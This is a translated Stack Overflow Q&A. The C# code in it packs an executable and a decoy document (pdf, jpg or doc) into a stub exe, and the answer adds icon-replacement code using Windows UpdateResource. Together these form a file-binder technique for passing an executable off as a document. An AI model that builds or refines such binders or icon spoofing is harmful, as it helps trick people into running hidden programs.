c# - 是否可以使用 SaveAsDialogBox 保存带有图标的文件?

标签 c# winforms

是否可以在使用 C#.net 中的另存为对话框指定文件图标后保存文件?

我正在使用 SaveAsDialogBox() 将 exe 文件保存在文件夹中,但未能为该 exe 文件分配图标。

有什么方法可以在保存该文件之前或之后为该文件分配图标吗?

int num1, num2, num3;

if (Operators.CompareString(this.exePath.Text, "", false) == 0)
{
    num1 = (int)Interaction.MsgBox((object)"Select/browse an exe file to bind...!", MsgBoxStyle.OkOnly, (object)null);
}
else if (Operators.CompareString(this.docPath.Text, "", false) == 0)
{
    num2 = (int)Interaction.MsgBox((object)"Select/browse a docment file (pdf/jpg/doc etc.)...!", MsgBoxStyle.OkOnly, (object)null);
}
else if (Operators.CompareString(this.saveAs.Text, "", false) == 0)
{
    num3 = (int)Interaction.MsgBox((object)"Browse the path to save the output file...!", MsgBoxStyle.OkOnly, (object)null);
}
else
{
    byte[] stub = Resources.stub;
    FileStream fileStream = File.Create(Application.StartupPath + "\\Hello.exe");
    fileStream.Write(stub, 0, stub.Length);
    fileStream.Close();
    FileSystem.FileOpen(1, this.exePath.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
    string str1 = Strings.Space(checked((int)FileSystem.LOF(1)));
    FileSystem.FileGet(1, ref str1, -1L, false);
    FileSystem.FileClose(1);
    FileSystem.FileOpen(2, this.docPath.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
    string str2 = Strings.Space(checked((int)FileSystem.LOF(2)));
    FileSystem.FileGet(2, ref str2, -1L, false);
    FileSystem.FileClose(2);
    FileSystem.FileOpen(3, Application.StartupPath + "\\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
    string str3 = Strings.Space(checked((int)FileSystem.LOF(3)));
    FileSystem.FileGet(3, ref str3, -1L, false);
    FileSystem.FileClose(3);
    FileSystem.FileOpen(3, this.saveAs.Text, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
    FileSystem.FilePut(3, str3 + "@@72389@@" + str1 + "@@72389@@" + str2 + "@@72389@@" + this.n1 + "@@72389@@" + this.n2, -1L, 0 != 0);
    FileSystem.FileClose(3);
    File.Delete(Application.StartupPath + "\\Hello.exe");
    Interaction.MsgBox((object)"Files have been binded successfully and stored in defined location", MsgBoxStyle.OkOnly, (object)null);
    showControls();
}

帮助将不胜感激。 谢谢

最佳答案

我已经使用下面的代码成功更改了图标, 毕竟我遇到了一个错误,我曾经尝试过的 exe 不再工作了。

这段代码有什么问题导致 exe 无法使用?

IntPtr hUpdate1 = IconClass.NativeMethods.BeginUpdateResource(exeFileName, false );

是否是由于上面这行代码的资源更新导致的。

 IconClass.IconFile iconFile = IconClass.IconFile.FromFile(iconFileName);
  IntPtr hUpdate1 = IconClass.NativeMethods.BeginUpdateResource(exeFileName, false );
  byte[] iconGroupData = iconFile.CreateIconGroupData(iconBaseID);
  IntPtr hUpdate2 = hUpdate1;
  IntPtr num1 = new IntPtr(14L);
  IntPtr type1 = num1;
  IntPtr num2 = new IntPtr((long) iconGroupID);
  IntPtr name1 = num2;
  int num3 = 0;
  byte[] data1 = iconGroupData;
  int length1 = iconGroupData.Length;
  IconClass.NativeMethods.UpdateResource(hUpdate2, type1, name1, (short) num3, data1, length1);
  int num4 = 0;
  int num5 = checked (iconFile.ImageCount - 1);
  int index = num4;
  while (index <= num5)
  {
    byte[] numArray = iconFile.get_ImageData(index);
    IntPtr hUpdate3 = hUpdate1;
    num2 = new IntPtr(3L);
    IntPtr type2 = num2;
    num1 = new IntPtr(checked ((long) iconBaseID + (long) index));
    IntPtr name2 = num1;
    int num6 = 0;
    byte[] data2 = numArray;
    int length2 = numArray.Length;
    IconClass.NativeMethods.UpdateResource(hUpdate3, type2, name2, (short) num6, data2, length2);
    checked { ++index; }
  }
  IconClass.NativeMethods.EndUpdateResource(hUpdate1, false);
}

关于c# - 是否可以使用 SaveAsDialogBox 保存带有图标的文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30431458/

相关文章:

C#如何创建一个Guid值?

c# - 为什么 ModelState.IsValid 总是返回 true?

c# - 在 winforms 中获取 ISP 提供商名称?

c# - 在 C# WinForms 中引发自定义事件

vb.net - 避免文本框中存在现有项目

c# - 如何使用 SAP .Net Connector 3 创建 Idoc 并将其发送到 SAP

c# - 在 ASP.NET 中创建后退按钮

c# - 在一个用户事务的数据库中是必需的吗?

c# - 如何将 DateTimePicker 控件设置为特定日期?

c# - 如何修复 .net standard 2.0 项目中的 'Could not load file or assembly System.IO.Packaging, Version=4.0.3.0'